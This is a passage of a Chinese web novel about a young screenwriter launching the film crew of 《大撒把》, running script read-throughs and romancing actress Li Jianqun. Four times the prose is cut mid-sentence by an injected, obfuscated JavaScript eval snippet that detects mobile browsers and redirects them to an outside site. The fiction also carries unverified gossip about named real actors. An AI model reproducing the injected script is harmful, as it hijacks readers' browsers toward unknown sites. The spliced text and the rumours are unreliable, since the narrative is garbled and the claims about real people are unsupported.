王好为介绍完,又道:“希望你们尽快熟悉起来。第二件事情,打今儿起,剧组就算正式进入到筹备拍摄阶段了,所有演员都要进组。 外聘的演员同志要跟各自单位协调好时间。 从明天开始为期半个月的剧本分析、围读。 半个月后,正式进入到拍摄阶段。 也就是说,七月初中旬开机,我们争取九月底结束。 在未来半个月的熟悉剧本阶段,由高老师具体负责,带领着大家对剧中人物进行全面的解析。 与此同时,选景等工作也要同步展开。 下面请高老师讲两句。” 哗啦哗啦的掌声响了起来。 高远也不含糊,开门见山道:“我先说,剧本还有不完善的地方,比如台词略显啰嗦,节奏感缺失,这方面,给我一晚上时间进行修改。 其次,我希望各位的表演要真实自然。 你们都看过剧本了,该片讲述了顾颜、林周云将各自的伴侣送到大洋彼岸后,在寂寞中互生好感,但又始终若即若离的故事。 说白了,这是一部都市爱情片。 我将故事内核升华了一下,关注出国热现象的同时,聚焦于人性。 所以,我要求各位在表演过程中要做到真实、自然,认真揣摩人物的心理状态,表演痕迹不能太重。” 濮存昕说道:“也就是说,即将出国的要有个愧疚、兴奋、迫不及待的样子,留下来的要演出不舍、迷茫,也有些渴盼着对方尽早把自己也解出去的心态呗。” 高远一挑大拇哥,称赞道:“濮老师说得特别到位。 就拿您饰演的林周云丈夫来说,他走之前对林周云有歉疚吗? 肯定是有的,因为他知道自己对妻子说谎了,他出国,其实并没有百分百的把握能把老婆一起办过去。 但是为了实现出国梦,他只能先安抚住妻子,向妻子保证说,等自己在国外安定下来,一定会把她接过去的。 林周云一直沉浸在丈夫给她编织的梦想中。 直到顾颜对她说:‘其实我也知道,她这一走,就是肉包子打洋狗,将来发了,别忘了给我寄点钱来,就算情深义重了’后才幡然醒悟。” 这段儿剧情高远改了下,原本是他送妻子登机时,跟妻子临分别前,顾颜对妻子说得话。 但高远觉得不妥,吐槽太多了,不仅没加重人物的分量,反而显得小心眼了。 遂挪到跟林周云聊天时自我解嘲的一种表达。 你品,你细品! 顾颜明知道妻子这一去肯定不会回来了,还不遗余力地帮她出国,嘴上说:“我知道你不会回来。” 这他妈是一种什么精神? 这是伟大的资本主义绿帽精神! 自个儿主动给自个儿扣绿帽子,恶心不? 这让高远不由想到岛国文化教育影片,男主为了满足自己的绿帽情结,百般劝说下,妻子终于心不甘情不愿地打开了鸭子网站…… 这一改,顾颜在送别妻子的时候沉默无语,给观众留下一个充分的想象空间,对后续故事的展开,是有巨大推动作用的。 邱沛宁翻看着剧本说道:“但是我看剧本最后,林周云最终还是走了。” 李健群不敢苟同,轻声道:“林周云走了吗?机票找不到了,她最后走成了吗?” 邱沛宁嘿嘿笑道:“小远子太坏了,这摆明就是个开放的结局, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519586|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你居然让观众们自己去猜测林周云走没走成,你不怕电影一上映,观众朋友们看完后愤愤不平,一窝蜂跑到北影厂来打你啊?” 她这么一说,大家哄堂大笑。 高远也笑着说:“留点想象空间挺好的,一千个人心目中有一千个哈姆雷特嘛。” “我也觉得挺好。”杨立新笑道:“目前国内电影的类型太过单一了,百分之八十都是**重大题材影片,像这种都市爱情轻喜剧尚属首次被列为可以进行拍摄的影片,我想,我们这个剧组将会开设一个先河。” “杨老师这话说得对,我也要跟大家讲,这部片子厂里投资70万,大家也都清楚,中影公司收购一部影片也才给70万,也就是说,厂里根本不赚钱。 **重大题材的影片我们不敢与之相比,别的不说,靠包场中影就能挣个盆满钵满。 但我仍有信心将这部影片制作好。 因为它讲述的是我们日常的生活,是实实在在、看得见摸得着的都市男女,是都市男女生活化的情感故事。 上头近一年来一直在鼓励各制片厂多拍摄类型片,什么叫类型片? 把这部《大撒把》往桌面上一拍,啪!都市爱情轻喜剧! 这就叫类型片!” 高远说着,激动起来,稍后又变得沉静,他双手合十冲大家拱了拱,又道:“我在这里拜托大家了,请各位艺术家和老师们用点心,咱们齐心协力把这部片子拍好,拍成国内首屈一指的影片,谢谢各位了。” 濮存昕率先表态道:“请高老师放心,我们一定会协助你拍好这部片子的。” 杨立新跟着说:“我们争取将这部片子拍成标杆!” 谢园也用他独特的腔调说道:“我们服从命令听指挥。” 大家都点着头表示认可几位的话。 高远笑道:“好,那我宣布,《大撒把》剧组,正式成立!” 他最擅长的就是营造剧组的氛围。 大家都有同一个想法,都想以拍好影片为己任,电影才会出彩。 第176章 一个团结的剧组 第一次全体会议散去后,谢园主动找到了高远,特谦卑地说道:“感谢高老师给机会啊,让我能有这个荣幸参演这部剧,我一定竭尽所能把戏演好。” 谢园并不是高远找来的。 高远对所有角色也没有太多把控,他属于副导演钱康的关系。 但高远也不点破,只握着他的手道:“你不要客气,既然剧组看中了你,就说明你还是有潜力的。 我对你只有一个要求,你是科班出身,但在学校里接受的专业训练太模板化了,我希望你能放下包袱,以平和的心态认真体会这个人物,争取在电影开拍后展现出你的实力来。 今后合作的机会还多着呢,常走动吧。” 谢园却误会了,常走动的意思莫非是,我毕业后也能进北影厂? “好的高老师,您放心,我一定好好演。” “嗯,去跟优哥多聊聊吧,我觉得你俩应该有不少共同语言。” 谢园又道声谢,走了。 话说北电78级,高远真正能看上眼的学生没几个,首先是周里京。 作为影坛小生,周里京既帅气,演技也突出,虽然人有些孤傲,但到了中年后,加之遇到了家庭变故,沉寂两年后幡然醒悟,演技飙升。 但现在不是拉拢他的时候。 其次是张丰毅。 他也是个悲剧角色,本来前途无量,大学还没毕业就参演了凌子风导演的《骆驼祥子》,一片成名,深受全国女同胞们的喜爱。 但在八十中后代中期跟一信教的女人结了婚,两人育有一子。 92年离婚,老死不相往来。 但张丰毅演技了得,堪称人民艺术家。 据说他是个0,但未经考证。 至于其他人,高远印象还算比较深刻的也就剩汪粤(第一代唐僧)、杨晓丹、张铁霖和沈丹萍了。 当然还有已经比较熟悉的方舒和刘冬。 这是个演员断层的年代,老的老,小的小,中生代接不上茬,你拍部电影,想找个年轻力壮的男演员,难比登天。 也不能说没有,中年演员们饰演的都是**战士。 高远要求演都市片,男演员就比较难找了。 连道明叔都还没出道呢。 次日起,在高远的主持下,全体演员齐聚会议室参加剧本围读会。 对大家来说,剧本围读这种形式很新颖。 通常说,剧组筹备组成立后,会发给每位演员一个本儿,让大家通读、熟悉各台词外,找出各自的角色,根据人物关系加以理解,写出人物小传,并交给导演、编剧审阅。 但《大撒把》剧组完全颠覆了这种传统方式。 高远要求大家今晚在招待所住下后先不要动笔写人物小传,先在脑子里对所扮演的人物进项建模。 第二天开会的时候,你只要把所演角色的内心想法,你想如何去诠释该人物阐述出来就好。 大家到会议室门前的时候,三两一起,嘀嘀咕咕。 高远特意把李老师和沛宁姐安排在一个房间。 此刻两人坐在一张木头椅子上。 邱沛宁轻声对李健群说:“健群,我太难了,还是把握不住顾颜妻子分别时的心态,怎么办啊?” 几句台词,她昨晚叨咕了一宿,始终找不到感觉。 李健群笑了,握住她的手,四下里看看,低声道:“沛宁,我这么跟你说,你只需要把握住两个成语,这角色就成功了。” 邱沛宁眼一亮,忙问道:“哪两个成语啊?” “心比天高,水性扬花。” “我明白了,就是离开前做作,出国后放飞呗。” “然也。” “哎呀,我怎么那么喜欢你呢。今后你就是我亲妹妹啦。” “我57年的。” “你俩结婚后,那我岂不是还要叫小远子姐夫?” 结婚吗? 说这个有点早啊。 但还挺期待那一天的。 “各论各的吧。”李老师含糊了一句。 “好哒!”邱沛宁从善如流。 钱康喊了一声:“请大家各自做好准备,我们马上就要开始读剧本了。” 同志们顿时停止了交谈,神情专注起来。 高远看一眼大家,说道:“我不说废话了,今天是剧本围读会,旨在让大家熟悉剧本,熟悉彼此间的人物关系,为将来正式开拍打个好基础。 这本子我们要一句一句,一个片段一个片段地顺,直到你们的表现让我满意为止。 第一个片段,首都机场,顾颜送别妻子。 顾颜坐在落地窗前的窗台上抽烟,其妻推着行李车满脸兴奋走过来,见面就跟人打招呼,顾颜见这样,心酸又不舍…… 优哥和宁姐做准备,我旁白,你俩说词儿。 说起来也都不是菜鸡,但各位还是觉得这种形式特新鲜。 《李志远》是濮存昕的第一部电视剧,但他一直活跃在话剧舞台上,也是第一次参加这类剧本围读活动。 杨立新也演过一部话剧《万水千山》,表演经验丰富,也照样对这种集中阅读剧本的形式非常感兴趣。 葛优更有一种好奇心十足的感觉。 李健群则一脸崇拜的望着高远,我男朋友好帅啊,好能掌控大局啊,爱你爱到心窝里! 见葛优和沛宁姐站了起来,高远这才说道:“机场国际出口前,顾颜坐在窗前抽烟,妻子沛宁推着行李车走过来,见人便打招呼。” 邱沛宁笑意嫣然,跟着配合动作,小皮鞋敲击地面发出哒哒地声音,笑靥如花,腾出一只手来跟周边的人打招呼:“嗨……” “停!”高远喊道。 邱沛宁怒道:“你小子找cei吧?喊什么停?姐这表情还不够丰富吗?” 高远走过去,认真说道:“姐,不是不够丰富,是丰富的太过了。你这个角色是妩媚,不是放荡,不需要展示肢体语言。 甚至说,你可以婊里婊气,但不能浪里白条,您又不是张顺,翻什么跟头加什么戏? 就说您这个打招呼的‘嗨’,嘴上说就可以了,您招什么手啊,多余! 一招手,跟老鸨子似的,就差右手拿方手帕,左手抓把瓜子儿,倚着门框边吐瓜子皮边跟南来北往的客人们飞个媚眼儿说:大爷,来玩儿啊。” 他不光说,他还学。 逗得各位捧腹大笑。 邱佩宁飞踹一脚,道:“我有那么骚吗?” “有,老鸨子的性格特点在您身上体现的淋漓尽致,与原著对人物的描述严重不符。” 高远提点她,道:“姐你不要刻意模仿外国留学生的做派,声调一定要有所起伏,嗨↗↘↗,先上扬,接着下沉,跟着再上扬。 讲究一个即将奔赴美利坚合众国深造的女人终于实现愿望的兴奋与澎湃,以及能够跟外国人用语言打成一片的优越感。” 邱沛宁琢磨琢磨,使劲揉着高远的头发,嘻嘻笑道:“姐懂了,小远子你厉害啊,对人心把握得太通透了。 再来一遍。” 她又试了一遍,佯装推着行李车走过来,向旅客们打招呼道:“嗨↗↘↗。” 这次就自然多了。 葛优瞧着她,并未起身,抽着烟,驼背弓腰一点信心都冇,脑子也空荡荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526507|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,下意识地接词儿道:“那个,跟谁打招呼呢?” “停!”高远又喊。 葛大爷肯定明白自己的状态,起身,把烟头丢在地上碾灭,道:“高老师,您见谅吧,这是我第一部正儿八经参与拍摄的电影,得益于您赏识,一上戏就演个男主角。 实话说,我压力比在座的诸位都大,一时间入不了人物,是很正常的。 您容我几天时间,我再找找感觉。” 高远能说什么呢,只能对他说,优哥,你欠调教啊。 他一直坚信葛优是个创造力十足的演员,这会儿只是没找准自己的表演方法。 话说回来了,葛优的表演方法是什么呢? 一句话,不经意间逗您一乐。 但他现在太青涩了。 初入影坛,除了紧张还是紧张,心理上背负着沉重的负担,这玩意只能在演技的不断磨练中慢慢纠正。 高远走过去,搂着他的肩膀说道:“我跟二子哥说起过,让他不要有太多心理方面的负担,表演就是做自己。 你也一样,平时怎么说话,电影里就怎么演。 你深呼吸,全身放松,你就是顾颜,顾颜就是你。 不要去想我剧本里写的什么词儿,首先要做到的是,把你妻子的话接下来,别掉地上。 先歇歇,你的戏一会儿再说。 小孙,给葛大爷来杯高沫。” “好嘞。”小孙答应一声,不大会儿泡了杯高沫走过来,递给葛优道:“大爷,您用茶。” 葛优也不知道自个儿“葛大爷”这个称呼是怎么在剧组里流行起来的,难道是因为自个儿长得老相? 他也不在乎,接过搪瓷缸子,道声谢,拿着剧本走到一无人的角落揣摩人物去了。 男主角一走,大家的戏份都没那么重要了。 李健群主动跟濮存昕搭了一段戏,就是那场机场分别的戏份,高远也不甚满意。 当然,姐姐的表演无可挑剔,但濮老师似乎有点放不开。 高远就让大家散了,同时布置了个任务,去写人物小传吧,认真揣摩人物的心理活动,明天交上来他要看。 大家纷纷离开。 但各位演员还是很有收获的,第一次参与这种集体研讨剧本的活动,一句句的捋台词,在这个年代中根本不可想象。 因为在电影拍摄中,都是导演中心制。 导演说怎么演就怎么演,没人敢违背导演的意愿,即便你演技再好也不行。 但《大撒把》这个剧组不一样,导演虽然是中心人物,但演员们的分量也不差。 大家参与到剧本围读之中,除了新鲜感,更感觉到剧组对演员们的重视。 《大撒把》演职人员少,拢共才三十多个人。 四人一屋。 这晚,濮存昕对杨立新说:“小高老师有点东西,他做到了真正把剧组的台前幕后人员拧成了一股绳,这点我尤其佩服。” 谢园捧着剧本说道:“我也发现了,高老师特别注重剧组氛围的营造,短短两天时间,大家伙儿就处得跟一家人似的,在他这位大家长的带领下,真正做到了以拍好电影为首要任务。 咱们有机会加入到《大撒把》这个剧组中,实乃职业生涯之幸。” 杨立新把剧本放在腿上,面容严肃地说道:“我怎么听说,高老师和《太极》剧组闹得并不怎么愉快,他也得罪了不少北影厂的老导演、老职工。 大家对他非常不满。 当然,只是谣言,事情到底是怎么样的,我也没办法去证实。” 半躺在床上的何伟说道:“那是嫉妒。” 第177章 水深王八多 濮存昕笑着说:“确实,优秀的人,无论走到哪里都会引起别人的嫉妒。” 杨立新端着个洗脚盆,道:“既然来了,咱们就好好演,其他事情一概不管。” 濮存昕和他是同事,说话敞亮一些,“我们不比你啊,你这角色相当于男二了,台词多,我们几个也就一天的镜头,拍完就走人。你得长期驻扎在组里,从头跟到尾,闲杂事物,能少掺和就少掺和吧。” 谢园也在泡脚,道:“濮老师这话说得对,各人自扫门前雪,休管他人瓦上霜。我听学校的老师们说过,北影厂,水深王八也多。” 杨立新脱了袜子,把脚伸进盆里,拱着手说道:“受教了,受教了。” ……………… 剧本围读会持续进行了五天。 大家都爱上了这种聚在一起对台词的活动。 唯独葛大爷迟迟找不到状态,整个人都是绷着的,节奏和情绪都不足,只是多少放松了些,起码词儿能背过了。 剧本围读是最能检验演员们的台词功底的,没有一点花里胡哨,孰优孰劣一听就知道。 表现最好的是杨立新和李健群。 杨立新在话剧舞台上打磨了两年,无论是表情、动作,还是台词,都极其的顺畅自然。 李老师经过一段时间的体验生活,也逐渐找到了人物感觉,虽说还略显生涩,但基本达到了高远的要求。 最让高远感到惊喜的是方舒,她虽然台词不多,但对人物性格特点的把握拿捏得太精准了。 濮老师对渣男丈夫的演绎也别具特色。 张金玲就不用说了,老演员了,表演浑然天成。 谢园与何伟,中规中矩吧。 至于说沛宁姐,她就一段词儿,已经滚瓜烂熟了,尤其是那个妩媚的小眼神儿,看谁谁怀孕。 不知不觉,天色已晚。 高远对制片主任田渝平说道:“田主任,您说两句?” 田渝平一乐,摆手道:“我说个锤子哟,看了大家这几天的表现,我很满意,坚信大家齐心协力,一定能拍摄出一部划时代的好作品来。 还是你说说这几天的感想吧。” 高远点点头,环视一圈,严肃道:“我是这部戏的编剧,说两句也不算逾越。 我们这部《大撒把》的特点,相信大家都了解了,没有特别复杂的剧情,讲述的就是一对都市男女在各自的伴侣出国后经过接触决定搭伙过日子的荒诞故事。 想要演好这出戏,需要大家伙儿自身的表演素质作为支撑。 不瞒几位,我和王导一直在挑选合适的演员,最终确定了您几位,是相信大家能把这部戏撑起来。” 张金玲嘁了声,插话道:“高老师您可少来吧,大家谁不知道啊,您这部戏就是给我们健群量身打造的,我们都是绿叶,您女朋友才是红花。” 李健群的俏脸腾地红了,她打了张金玲一下。 大家嘿嘿笑了。 高远当然不否认这一点,道:“但是金玲大姐您也不能否认这部戏的优秀不是?” 张金玲道:“那倒是,爱情片啊,能通过立项我都觉得特不可思议。” 高远懒得理这个傻大姐,继续说道:“前面唠叨了一堆有的没的,我为什么要说这些呢?是因为在这几天的剧本围读活动中,我发现你们的台词和表演是割裂开来的。” 前文说过,高远特想给这个时代的表演风格注入一些新鲜东西了。 这部影片让他逮到了机会。 大家也聚精会神起来,特想听听这位被称之为“北影厂大才子”的家伙会发出什么惊人之语。 高远摸出烟来散了一圈,自己也点了根,抽一口后继续说道:“众所周知,现如今条件有限,大家在拍摄一部电影的时候根本不具备现场收音的条件。 只能是拍摄完成后再进行后期配音。 我不是说后期配音不好啊。 当然,也可以理解为后期配音是一种追求艺术完美效果的行为。 这也就是我为什么说演员们的台词和表演是剥离的主要原因。 但这二者不应该是剥离的,是应该融为一体的。” 大家一愣,随着高远这番话进入到思考状态中去了。 高远看着大家,微笑着抽烟。 片刻后,敏而好学的李老师主动提问道:“高老师,你能给大家伙儿说说深层次的原因吗?我总觉得你的话并没有说完。” 哇! 知我者大姐姐也。 你这个台阶儿给的太棒了! 爱你哟。 高远冲她挑挑眉毛,在她嗔怪的目光中继续说道:“我认为,造成这种台词和表演割裂,深层次的原因有两点。 首先,肯定是条件不足的因素造成的。 现在选演员,只需要外形和角色贴合就可以了,导演和编剧把你找进组,只是为了让你呈现一个具象化的人物形象,所以对台词功底的要求并不高。 因为后期可以再寻找贴合人物语气表达方式的配音老师进行重配嘛。” 濮存昕插了一句,“对,我过几天就要给李志远进行重新配音。” 杨立新也笑着说:“我也接过不少配音的活儿,感觉就像高老师说的那样,台词和人物大多是割裂的。” 高远乐了,他特喜欢杨立新。 杨老师堪称是影视界的暖心大叔。 徐帆北漂,来京参加人艺和中央戏剧学院合办的一个表演班,她在京城一个亲人都没有,只认识有过一面之缘的杨立新大哥。 且是在杨立新的鼓励下才来的京城。 杨立新对这个小妹妹关怀备至,当然不是那种男女之情刻意地接近,只是出于朋友间的关照。 他知道徐帆贫血,便让太太给徐帆准备红糖水、巧克力。 徐帆在《鲁豫有病》节目中敞开心扉:我读大学那三年,全靠杨立新大哥和嫂子养着,每周都被嫂子接回家改善生活,没有立新大哥和嫂子的照顾,就没有我的今天。 一直到现在,我觉得我的哥哥只有一个,就是杨立新,我的嫂子也只有一个,是杨立新的爱人。 另外,张国荣演的《霸王别姬》中,程蝶衣一角,是杨立新配的音你敢信? 陈大导拍《霸王别姬》时,没打算找任何人做后期配音。 但无奈张国荣普通话实在不过关,京剧唱腔更是惨不忍睹。 陈大导无奈至极,在英家大小子的推荐下选择请杨立新为张国荣饰演的程蝶衣配音。 后来因为这部影片要去法国参加戛纳国际电影节,行程匆忙,陈大导居然没在片子的结尾加上杨立新的名字。 he……tui! 想到这里,高远一咧嘴,《霸王别姬》可以搞搞啊,走陈大导的路让大导无路可走! 他是个爱憎分明的人,喜欢谁就是喜欢谁,不喜欢谁膀胱都懒得赏他一个。 像陈大导、徐才人、矮大紧、赵军旗之类的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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最后确定了黄色羊绒短款大衣,里面搭配白色高领毛衣,穿一条牛仔裤,搭配和羊绒短款大衣同色系高跟鞋。” “上哪儿买牛仔裤去啊?”高远发愁了。 “我自个儿有。”邱沛宁笑嘻嘻说道。 牛仔裤在这个年代可是个稀罕物,谁要是有条牛仔裤,穿出去你就是整条街上最靓的仔。 高远眼睛一亮,问道:“姐,你从哪儿买来的?” 邱沛宁说道:“托人从香港带回来的。” 好吧,这个我……我可以托袁和平邮寄几条回来。 不是军绿裤就是海军蓝,高远穿得够够的了。 造型师也汇报了下她给各位设计的造型,主打一个时尚。 紧跟着是道具置景的头头汇报工作。 “高老师,我们已经跟首都机场联系过了,机场的负责人对我们的工作非常支持,表示什么时候过去拍摄,提前打声招呼就成。” 这位老师叫吴雷鸣,是厂里道具设计、置景方面的大拿。 他最拿手的是纸活,极其擅长用一沓硬纸壳子裱糊出一整套古董瓶瓶罐罐来,不用手摸,从远处看,简直惟妙惟肖。 “辛苦吴老师了。”高远冲他抱抱拳。 吴雷鸣浑不在意地一挥手,道:“客气啥?都是老熟人了。另外我再跟你说,置景方面你别太心急了,这部片子以棚戏为主,咱们在小摄影棚把顾颜家和林周云家搭建起来就是了。 外景地也好说,故事就发生在咱京城嘛,颐和园、圆明园、天坛地坛王府井大街,不用交钱随便咱拍。” 第178章 亲上了,亲上了 高远乐道:“那就麻烦您老多上上心吧。” 吴雷鸣笑道:“不叫事儿,交给我你小子放心就成。” 把这些细碎的事情安排妥当后,高远宣布散会。 与此同时,去河南外景地拍摄的《太极》剧组也踏上了回京的路途。 李文化只带回来蔡明、刘冬、杜玉明、熊欣欣等几位演员和幕后创作团队的同志。 于承惠、于海、李连杰、胡坚强和**魁等人留在了河南,跟随张鑫炎筹备《少林寺》。 火车在南站停下来。 一行人拎着大包小包各种包下了车。 杜玉明感慨道:“有段日子没见到高老师,真想念他啊。” 刘冬点头附和道:“是啊是啊,高老师不在剧组里指手画脚,我也觉得像是少了点什么似的。” 蔡明边走边说道:“我和群姐通信后听说,高老师又上了部新剧,群姐说叫都市爱情轻喜剧,又是一部开创先河的电影啊。” “爱情片现在让拍了吗?”刘冬特好奇。 “高老师是谁啊,不让别人拍,还能卡着高老师嘛。”蔡明笑着说道。 “那倒也是。” 熊欣欣问道:“远哥背景这么牛吗?” 蔡明和刘冬笑而不语。 关于高远的深厚背景,北影厂的职工们知道的也不多,大家只知道他是北大的在校生,关于他和高跃华的叔侄关系,只限于厂领导和几位关系不错的朋友清楚。 厂里派出一辆海狮面包车来接各位。 一行人呼呼啦啦回了北影厂。 先向老厂长汇报《太极》的拍摄工作。 被他们念叨着的高远这会儿正拿着房本儿呲牙傻乐。 “诶李老师,您打算啥时候搬家呀?” 李健群把房本儿抢过来看了看,见上面写着自己的名字,调侃这货道:“先别说啥时候搬家,你就不怕我把这套房子占为己有啊。” 高远越发放肆了,搂着好姐姐的小蛮腰哼了声,道:“我绝对相信李老师不是个目光短浅的人,一套房子罢了,还能比我这个著名编剧值钱?” 李健群捏捏他的鼻子,夸张道:“哇,高老师太自恋啦。” 高远顺手一带,美人入怀,情难自禁地亲了下她的脸颊。 李健群俏脸一红,她虽然不排斥臭弟弟对自己这种程度的亲热,但还是很矜持,很羞涩。 身子扭了扭,李健群轻声道:“你又欺负我。” 高远臭不要脸地说道:“这怎么能叫欺负呢?这是我表达对你爱意的具体行为方式啊。 咱俩搂也搂过了,亲也亲过了,你怎么还紧张兮兮的?” “这种事哪有习惯的?” “有啊,抱得长了就习惯了。” 高远继续嬉皮笑脸,抱得也更紧了些,他赶紧到,好姐姐的娇躯立马紧绷起来,遂又把话题绕了回去,道:“我的意思是,鲁杰里之前使用过的家具,咱全不要了,换新的,你觉得怎么样?” 李健群趴在他肩膀上,提高点儿声,道:“我看那一屋子家具基本上没用两年啊,还都噶新噶新的,全换掉得花不少钱不说,那些家具往哪儿放?” “卖给委托商店换成现金呗。”高远满不在乎地说道。 “不行,卖不了几个钱的,太浪费了。高老师,我发现你享乐主义严重,这种思想是不对的。”李健群义正词严。 见大姐姐一本正经,高远乐得不行,想了想后说道:“其他家具电器可以不换,但三间卧室的床必须换掉。” “为什么呀?” “你想啊,外国人的私生活太丰富多彩了,思想也开放,鲁杰里那个货一看就不是块好饼,谁知道他往家里带过几个女朋友?跟女朋友们在床上从事过多少回极限运动啊?” 李健群被这货熏陶得已经能听懂他话里话外藏着的那层意思了,气得打了他一下,没好气儿道:“这种话怎么能宣之于口啊?” “怎么不能说了?你这思想啊,还是太腐朽了,一点新时代女性的开明都不具备。食色性也,多正常的一件事儿啊。 我刚才说过了,就像我俩,抱也抱了,亲也亲了,是不是应该往下走一步了?” “你想干嘛?” 李健群紧张得像一只小兔子般。 “当然是,嘿嘿……小白兔,大灰狼哥哥来啦!” 高远又亲了下她的脸蛋,没等她反应过来,迅速堵住了她娇艳的嘴唇。 李健群瞪大了双眼,耳根都红得像熟透的西红柿,心也在燃烧,下意识地想要推开他,但身子软得没有力气,只能任这个货欺负自己…… 勾芡儿! 拉丝! 高远吻技很高明。 但是……啊! 舌头被咬了。 失败! 这货差点跳起来,往痰盂里吐了口唾沫,全是血。 “你也太狠了吧?”高远无奈道。 “谁叫你伸舌头的。”李健群对伸舌头感到惊讶和羞耻。 “这个……怎么说呢?” 高远无比怀念上辈子看过的彩花、结衣、悠亚,但凡现如今有一部,李老师也不会如此表现。 一看全懂了。 他还没办法解释,诶,慢慢调教吧。 李健群反而有点愧疚了,她拉着高远的手,轻声问道:“疼吗?” 高远搂着她那纤细的腰肢,感觉这细腰就像是什刹海河沿儿上随风轻摆的柳枝,又柔又润,隔着裙子都能体会到细腻的触感。 “咬你一下试试呗。” “讨厌**,给你个教训,以后不许再这样了。” “这是情趣啊姐姐。” “屁的情趣,你这家伙,一脑门子肮脏思想。好了好了,说件正事儿,你要回学校参加期末考试了吧?” 高远一拍脑门儿道:“是啊,转眼又是一学期过去了,再转过年来,我就大三了,距离毕业不远喽。你怎么想起来问这个了?” 李健群羞涩道:“不是说好,今年让你跟我回家一趟么,看你什么时候能腾出空来。” “叔叔阿姨给你来信了?”高远立马猜到了正确答案。 李健群点头道:“是啊,问咱俩的事儿呢,还处不处的来,关系好不好,什么时候回去之类的,我还没回信,因为不知道该怎么答复我爸妈。” 高远思虑片刻,道:“考完试后,我能腾出三天时间来,不过你也得向剧组请假,毕竟马上就要进入到正式拍摄阶段了。” 李健群叹声气,道:“我妈还说,如果咱俩没时间,她和我爸就来京城看看我。” 言外之意是,也顺便来看看你。 “不合适,理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526509|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应我去登门拜访的。” “我父母都不是思想保守的人,对这方面的礼节根本不在乎,他们要来,也是不太放心我在这边的生活和工作,要亲自看一眼才能安心。” 高远笑道:“那行啊,叔叔阿姨来了后我好好招待二老。群姐,你给叔叔阿姨回信吧,就说我随时欢迎二老来京。” 李健群点点头,微笑道:“那就这么说定了,我写信让我爸妈到京城来玩几天。” “好,回头我也通知我爸妈一声。” “还是不要麻烦叔叔阿姨了。” “这种事儿怎么能叫麻烦呢,亲家来了,不该见见面吃顿饭,顺便把咱俩这事儿定下来吗?” 李健群又是赧然一笑,轻声道:“随你便吧。” “远哥在吗?”外面传来一阵脚步声,紧接着,一个声音也传了进来。 高远一听,很耳熟,道:“哪位?” “我,熊欣欣,我和杜大哥几个看您来了。”熊欣欣喊道。 高远忙起身,蹬蹬走到门口,拉开房门,见熊欣欣、杜玉明、蔡明和刘冬站在外面,欣喜异常,笑道:“你们啥时候回来的?别在门口站着了,赶紧进屋坐下聊。” 熊欣欣憨厚笑着,边往里走边说道:“刚到没一会儿,先去老厂长那儿报了个到……群姐也在啊。” 四个人进了屋。 刘冬快步走到李健群身边坐下,挽着她的胳膊打量她,好像发现了一点不对劲儿,道:“健群,你脸怎么这么红啊?发烧了?” 李健群羞涩、慌乱、无地自容,忙掩饰道:“没发烧,被灯照的,再加上天气炎热,脸红不是很正常么。” 刘冬似乎看透了事情的本质,瞄一眼忙着倒水的高远,嘿嘿笑道:“懂了懂了,孤男寡女共处一室,情难自禁可以理解。” 熊欣欣懵懂地问道:“冬姐,你什么意思?” 蔡明踹他一脚,道:“等你长大后就明白了,现在不该打听的别瞎打听。” “我已经十八岁了,我啥都懂!” “你懂个锤子,你个憨货!”杜玉明也踹他一脚,道:“老实坐着吧你。” 俩人在床上坐了下来。 高远给四位倒了水,放在茶几上后问道:“拍摄还顺利吗?” 熊欣欣哭丧着脸说道:“进展倒是挺顺利的,就是条件艰苦了一些,好在大家伙儿克服过来了。就是没有你的日子里,大家伙儿心里空落落的。” 杜玉明也感慨道:“大家是挺不习惯,原本不是预计在河南拍半个月么,一下超了半个多月,因为有些戏份李导讲得不是很透彻……” 蔡明打算了他,道:“也不是李导讲得不透彻,是他讲的那些东西太深了,老杜几个都听不太明白,不如远哥你讲得浅显易懂,所以才把时间给耽搁了。” 高远微微颔首,他太清楚了,李文化是了理论派,特爱讲斯坦尼、梅兰芳。 问题是,你面对的演员都是一帮糙汉子,你跟他们讲那些表演理论,他们确实听起来费劲啊。 也理解不了。 见他只笑不说话,杜玉明斟酌斟酌,说道:“我们也知道你到最后为什么不参与了。我劝你一句啊,有些事情,你别太放在心上。 不是有那么句话么,听喇喇蛄叫还不种庄稼了?” 第179章 烦死个人 高远一乐,拍着杜玉明的肩膀说道:“言之有理,我没放在心上,只是有点感慨,斗争无处不在啊。电影也拍完了,你们有啥安排吗?” 